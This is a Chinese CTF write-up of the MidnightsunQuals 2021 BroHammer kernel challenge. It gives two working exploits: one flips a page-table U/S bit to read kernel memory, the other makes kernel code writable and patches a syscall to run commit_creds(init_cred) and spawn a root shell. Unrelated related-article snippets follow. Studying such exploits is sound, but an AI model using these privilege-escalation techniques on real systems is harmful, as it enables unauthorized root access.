【1 bit 翻转+无任何保护】MidnightsunQuals 2021 BroHammer

前言

又是一道非常有意思的题目,其实笔者很喜欢这种跟页表、特权级等相关的题目(:虽然大多都无法独立做出来,但是通过这些题目可以学到很多的东西

题目分析

  • 内核版本:v4.17.0
  • smap/smep/kpti/kaslr 全关

题目给了源码:

#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/sched.h>
#include <linux/syscalls.h>#ifndef __NR_BROHAMMER
#define __NR_BROHAMMER 333
#endifunsigned long flips = 0;SYSCALL_DEFINE2(brohammer, long *, addr, long, bit)
{if (flips >= 1){printk(KERN_INFO "brohammer: nope\n");return -EPERM;}*addr ^= (1ULL << (bit));(*(long *) &flips)++;return 0;
}

可以看到漏洞非常简单,1 bit 任意可写地址翻转,只能使用一次。由于这里的 flipsunsigned long 类型,所以这里无法通过修改 flips 实现无限次的任意可写地址 1 bit 翻转;然后代码段又是不可写的,所以也无法修改 if (flips >= -1) 逻辑实现无限次的任意可写地址 1 bit 翻转。所以这里就只能是完全通过一次任意可写地址 1 bit 翻转去提权或获取 flag(:毕竟是 CTF 题目

漏洞利用

方案一:修改 PTE.U/S 实现普通用户对特权页面的访问

首先是参考了 hxp 的方案,其主要就是去拿 flag,思路如下:

  • 前置知识:
    • initramfs 文件系统中的所有内容都会被读取到内存当中,且每次都在一个固定的区域当中,由于关闭了 kaslr,所以这个区域是已知的(记作 flag_area),其对应的 PTE 地址也是固定的
    • PTE 中的 U/S 字段指定一个页或者一组页的特权级,其为 PTE 的第 2 bit (从 lsb = 0 bit 开始),当其为 0 时表示只有 supervisor 才能访问对应的页;为 1 表示普通 user 也可以访问对应的页
  • 利用思路:
    • 先调试定位上述 flag_area 对应 PTE 的地址,其是固定的
    • 然后利用漏洞翻转对应 PTEU/S 字段,此时普通用户就可以访问上述 flag_area 区域
    • 遍历 flag_area 区域寻找 flag

这里实际定位是在 PDE 中,因为这里的 PS 位被置位,所以 PDE 并不执行 PTE,而是直接作为页的起始地址,但是笔者习惯将最后一级转换表称作 PTE

本地的 flag 的内容为:

xiaozaya@vm:~/rubbish/MidnightsunCTF2021_Brohammer$ cat fs/root/flag
this is where the flag will be on the remote host...

调试定位该 flag 所属的 flag_area 区域:

gef> search-pattern "this is where the flag will be on the remote host..."
[+] Searching 'this is where the flag will be on the remote host...' in whole memory
[+] In (0xffff880000200000-0xffff880007e00000 [rw-])0xffff880003321000:    74 68 69 73 20 69 73 20  77 68 65 72 65 20 74 68
gef> x/s 0xffff880003321000
0xffff880003321000:     "this is where the flag will be on the remote host...\n"

可以看到这里 flag 的地址为 0xffff880003321000,然后定位其对应 PTE 的地址:

0x00000000018fb0c8: 0x80000000032001e3 (virt:0xffff880003200000-0xffff880003400000,type:2MB-PAGE) A A NO_US A D G XD

可以看到 flag 所在的区域 flag_area0xffff880003200000-0xffff88000340000,其对应的 PTE 的物理地址为 0x00000000018fb0c8,然后其 PTE 值为 0x80000000032001e3,可以看到这里的 bin(3) = 0b11,即这里的 U/S 字段为 0,表示只有特权用户才能访问 flag_area: 0xffff880003200000-0xffff88000340000 区域

0x00000000018fb0c8 转换为虚拟地址为 0xffff8800018fb0c8(这里其实有两个对应的虚拟地址,这里选择直接映射区的这个地址),然后利用漏洞修改 PTEU/S 字段:

gef> x/gx 0xffffffff818fb0c8
0xffffffff818fb0c8:     0x80000000032001e3 <==== 修改前
gef> x/gx 0xffffffff818fb0c8
0xffffffff818fb0c8:     0x80000000032001e7 <==== 修改后 bin(7) = 0b111 ==> U/S=1

可以看到这里已经没有了 NO_US 标志了,说明普通用户已经可以访问 flag_area 区域了:

0x00000000018fb0c8: 0x80000000032001e7 (virt:0xffff880003200000-0xffff880003400000,type:2MB-PAGE) A A A D G XD

最后遍历 flag_area 区域寻找 flag 即可,最后 exp 如下:

#include <stdio.h>
#include <unistd.h>int main() {syscall(333, 0xffff8800018fb0c8, 2);unsigned long long start = 0xffff880003200000;for (unsigned long long i = 0; i < 0x200000 / 0x1000; i++) {char* addr = start + i * 0x1000;if (addr[0] == 't' && addr[1] == 'h') {printf("%d: %s\n", i, addr);break;}}return 0;
}

效果如下:
在这里插入图片描述

方案二:修改内核代码段 pte 提权

第二种方案参考 Will's Root 的文章,其跟方案一其实类似,这里就边调试边讲解。通过内核符号表可以知道 startup_64 总是被映射到 0xffff880001000000,调试可以知道其为 PDE 中对应的一个 2M 内存区域:

0x00000000018fb040: 0x80000000010001e1 (virt:0xffff880001000000-0xffff880001200000,type:2MB-PAGE) A A NO_RW NO_US A D G XD

该区域对应的 PDE(PTE) 没有 W 权限和 US 权限,其中题目提供的系统调用函数 __x64_sys_brohammer 也被映射到该区域:

gef> x/3gi 0xffff8800010b13440xffff8800010b1344:  endbr640xffff8800010b1348:  cmp    QWORD PTR [rip+0x8459a8],0x0        # 0xffff8800018f6cf80xffff8800010b1350:  mov    rcx,QWORD PTR [rdi+0x68]gef> x/3gi 0xffffffff810b13440xffffffff810b1344 <__x64_sys_brohammer>:    endbr640xffffffff810b1348 <__x64_sys_brohammer+4>:  cmp    QWORD PTR [rip+0x8459a8],0x0        # 0xffffffff818f6cf80xffffffff810b1350 <__x64_sys_brohammer+12>: mov    rcx,QWORD PTR [rdi+0x68]

所以这里主要的想法就是去控制 0x00000000018fb040 对应的区域,从而控制 0xffff880001000000-0xffff880001200000 区域的权限,然后调试发现,0xffff8800018fb060 处的 PDE(PTE) 可以控制 0xffff880001800000-0xffff880001900000 区域:

      0xffff8800018fb040|+0x0000|+000: 0x80000000010001e10xffff8800018fb048|+0x0008|+001: 0x80000000012001e10xffff8800018fb050|+0x0010|+002: 0x00000000079860630xffff8800018fb058|+0x0018|+003: 0x00000000079870630xffff8800018fb060|+0x0020|+004: 0x80000000018001e3 <====

所以这里可以修改 0xffff8800018fb060 处的 PDE(PTE)U/S 标志位,从而就可以控制 0xffff8800018fb040 的值,从而修改 0x80000000010001e10x80000000010001e7 赋予 WU/S 权限,此时就可以在用户态去修改内核态的代码硬编码,这里选择修改 __x64_sys_brohammer

gef> x/16gi __x64_sys_brohammer0xffffffff810b1344 <__x64_sys_brohammer>:    endbr640xffffffff810b1348 <__x64_sys_brohammer+4>:  mov    rdi,0xffffffff818331000xffffffff810b134f <__x64_sys_brohammer+11>: mov    rax,0xffffffff81034bbc0xffffffff810b1356 <__x64_sys_brohammer+18>: call   rax0xffffffff810b1358 <__x64_sys_brohammer+20>: ret

然后调用 brohammer 系统调用即可执行 commit_creds(init_cred),由于这里是正常的系统调用,所以不需要像之前漏洞利用那样手动返回到用户态,这里正常执行完系统调用后,会自动返回用户态

这里有个问题,我通过 pwntools 生成 shellcode 无法写入,然后我直接写入字符串发现只能写入 9 个字符?但是用参考文章中的方法又可以成功写入,目前暂时不知道咋回事,参考文章中最后 exp 如下:

#include <stdio.h>
#include <unistd.h>
#include <stdint.h>#define FLIPS 0xffffffff818f6cf8
#define COMMIT_CREDS "0xffffffff81034bbc"
#define INIT_CRED "0xffffffff81833100"
#define evil "mov rdi, "INIT_CRED";\nmov rax, "COMMIT_CREDS";\ncall rax;\nret;"void rootkit();
asm("rootkit:"evil);void GUARD()
{return;
}int main() {syscall(333, 0xffff8800018fb060, 2);uint64_t* addr = 0xffff8800018fb040;*addr = 0x80000000010001e7;char* code = 0xffff880001000000 + 0xb1348;//char* shellcode = "\x90\x90\x90h\x001\x83\x81_h\xbcK\x03\x81X\xff\xd0\xc3";char* shellcode = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB";memcpy(code, rootkit, GUARD-rootkit);syscall(333, 0xdeadbeef, 0);system("/bin/sh");return 0;
}

IDA 打开生成的 lpe 二进制文件:
在这里插入图片描述
但是我直接用 pwntools 生成的 "H\xc7\xc7\x001\x83\x81H\xc7\xc0\xbcK\x03\x81\xff\xd0\xc3" 却无法正常写入,这里都是一样的,不知道为啥

效果如下:
在这里插入图片描述

总结

通过调试,对 linux 四级页表更加清晰了,也对相关保护权限有了一定的了解,总的来说学到了很多😀

参考

Midnightsun CTF 2021: Brohammer
MidnightsunQuals 2021 BroHammer Writeup (Single Bit Flip to Kernel Privilege Escalation)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/10718.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

laravel8 导入 excel常见问题

上传xls 或 xlsx 文件后&#xff0c;文件解析为 zip 格式&#xff0c;输入正常情况&#xff0c;不影响解析 里面的内容 遇到解析内容&#xff0c;解析为空的情况&#xff0c;可能是 因为excel 存在多个 Sheet1 造成&#xff0c;服务器不能解析一个 Sheet1 的情况&#xff0…

智慧停车场管理系统主要组成

智慧泊车场办理体系&#xff0c;完成了泊车办理过程中的车辆类型分类、出场时的车牌辨认、行进路线的引导、空余车位诱导&#xff0c;以及准备离场前的反向寻车和方便缴费等全部环节。这六个流程中&#xff0c;泊车场对车辆的办理&#xff0c;进步了泊车场的运行效率&#xff0…

【网络】为什么TCP需要四次挥手?

在网络通信中&#xff0c;TCP&#xff08;传输控制协议&#xff09;是一种可靠的、面向连接的协议&#xff0c;它在数据传输过程中保证了数据的可靠性和顺序性。而TCP的连接建立过程只需要三次握手&#xff0c;但是TCP的挥手过程却需要四次挥手&#xff0c;这是为什么呢&#x…

数据分享—中国土壤有机质数据

土壤有机质数据是进行区域土地资源评价&#xff0c;开展自然地理研究常使用的数据&#xff0c;本期推文主要分享全国土壤有机质数据集。梧桐君会不定期分享地理信息数据&#xff0c;欢迎大家长期订阅。 数据来源 “万物土中生”&#xff0c;小编今天要分享的中国土壤有机质数…

Tomcat 内核详解 - Web服务器机制

详细介绍 Apache Tomcat 是一个开源的Web服务器和Servlet容器&#xff0c;它实现了Java Servlet、JavaServer Pages (JSP) 和WebSocket规范。Tomcat的核心设计围绕着几个关键组件&#xff0c;它们共同构成了处理HTTP请求、管理Web应用部署和执行Servlet逻辑的基础架构。 Apac…

牛客NC404 最接近的K个元素【中等 二分查找+双指针 Java/Go/PHP】

题目 题目链接&#xff1a; https://www.nowcoder.com/practice/b4d7edc45759453e9bc8ab71f0888e0f 知识点 二分查找&#xff1b;找到第一个大于等于x的数的位置idx;然后从idx开始往两边扩展Java代码 import java.util.*;public class Solution {/*** 代码中的类名、方法名、…

小程序组件间传值

1、属性绑定&#xff08;Props&#xff09;: 父组件通过在子组件标签上设置属性的方式向子组件传值。 子组件通过properties定义接收的属性 父组件&#xff1a; wxml <child-component title"{{parentData}}"></child-component>子组件&#xff1a; js p…

可观测性监控

1 目的 常见的监控&#xff0c;主要是以收集数据以识别异常系统效应为主&#xff0c;多是单个服务&#xff0c;相互独立的状态。 可观测性&#xff0c;希望调查异常系统效应的根本原因&#xff0c;能够把多个服务、中间件、容器等串联起来&#xff0c;同时柔和metrics、log、…

前端怎么用 EventSource? EventSource怎么配置请求头及加参数? EventSourcePolyfill使用方法

EventSource EventSource 接口是 web 内容与服务器发送事件通信的接口。 一个 EventSource 实例会对 HTTP 服务器开启一个持久化的连接&#xff0c;以 text/event-stream 格式发送事件&#xff0c;此连接会一直保持开启直到通过调用 EventSource.close() 关闭。 EventSource…

常见的推荐系统框架

1&#xff09;Microsoft Recommender&#xff1a; 该框架由微软开发&#xff0c;可以免费使用&#xff0c;主要提供了包括一般功能&#xff08;Common Utilities&#xff09;、大数据功能&#xff08;Dataset Utilities&#xff09;、评价功能&#xff08;Evaluation Utilitie…

将本地docker镜像以压缩包格式保存至其他路径、从本地的镜像压缩包中加载docker镜像

保存本地Docker镜像为压缩包至其他路径 你可以使用 docker save 命令结合输出重定向&#xff08; -o 选项&#xff09;来将本地Docker镜像保存为一个压缩包&#xff08;通常是tar格式&#xff09;并直接保存到指定的路径。以下是一个示例命令&#xff1a; docker save -o /pa…

c++ - 在循环中使用迭代器删除 unordered_set 中的元素

标签 c unordered-set 请考虑以下代码: Class MyClass 为自定义类:class MyClass { public:MyClass(int v) : Val(v) {}int Val; };然后下面的代码将在调用 it T.erase(it); 之后在循环中导致 Debug Assertion Failed: unordered_set<MyClass*> T; unordered_set<…

vue3.0(六) toRef,toValue,toRefs和toRow,markRaw

文章目录 toReftoValuetoRefstoRowmarkRawtoRef和toRefs的区别toRaw 和markRaw的用处 toRef toRef 函数可以将一个响应式对象的属性转换为一个独立的 ref 对象。返回的是一个指向源对象属性的 ref 引用&#xff0c;任何对该引用的修改都会同步到源对象属性上。使用 toRef 时需…

C#中的继承、接口和多态性

继承&#xff08;Inheritance&#xff09; 在C#中&#xff0c;继承允许我们创建一个新的类&#xff08;称为子类或派生类&#xff09;&#xff0c;该类从另一个已存在的类&#xff08;称为父类或基类&#xff09;中继承方法和属性。子类可以添加新的方法和属性&#xff0c;或者…

2024年最新趋势跨境电商平台开发需了解的新技术

随着数字化技术的不断演进和全球市场的日益融合&#xff0c;跨境电商平台开发将面临前所未有的挑战和机遇。为了更好地适应并引领这一发展&#xff0c;开发者需要密切关注2024年最新的技术趋势&#xff0c;以确保他们的平台能够在竞争激烈的市场中脱颖而出。本文将对跨境电商平…

HTML/CSS2

1.前置说明 HTML/CSS1 2.img元素 格式&#xff1a; <img src"图片地址" alt"占位文字" width"图片宽度" height"图片高度">其中alt是当图片加载失败时显示的文字 而且不同内核的浏览器显示出来的占位文字的效果也是不尽相同…

网安面经之文件上传漏洞

一、文件上传漏洞 1、文件上传漏洞的原理&#xff1f;危害&#xff1f;修复&#xff1f; 原理&#xff1a;⽂件上传漏洞是发⽣在有上传功能的应⽤中&#xff0c;如果应⽤程序对⽤户上传的⽂件没有控制或者存在缺陷&#xff0c;攻击者可以利⽤应⽤上传功能存在的缺陷&#xff…

从文本日志到图形日志 图形化编程桌面产品的突破

在一个宽敞明亮的会议室里&#xff0c;阳光透过落地窗洒在会议桌上。卧龙和凤雏相对而坐&#xff0c;他们的面前摆放着一些关于图形化编程桌面产品的资料和测试报告。会议室里的气氛紧张而热烈&#xff0c;团队成员们围坐在一起&#xff0c;专注地倾听着卧龙和凤雏的讨论。 卧龙…

单位学校FM调频电台直放站系统

随着教育技术的不断发展&#xff0c;校园广播系统的建设已成为现代学校必不可少的一部分。作为传统有线广播的有效补充&#xff0c;基于无线电信号传输的 FM 调频电台在学校的使用日益广泛&#xff0c;尤其是在紧急通知、日常信息传播及教学辅助等方面发挥着重要作用。为了增强…

韩顺平0基础学Java——第9天

p169-201 数组&#xff08;第六章&#xff09; 数组扩容 此时原来的数组arr被销毁。 牛蛙&#xff1a; 最后再加一句 SYstem。out。println&#xff08;“是否添加&#xff1f;”&#xff09;&#xff1b; char key myscanner。netx&#xff08;&#xff09;。charAT&…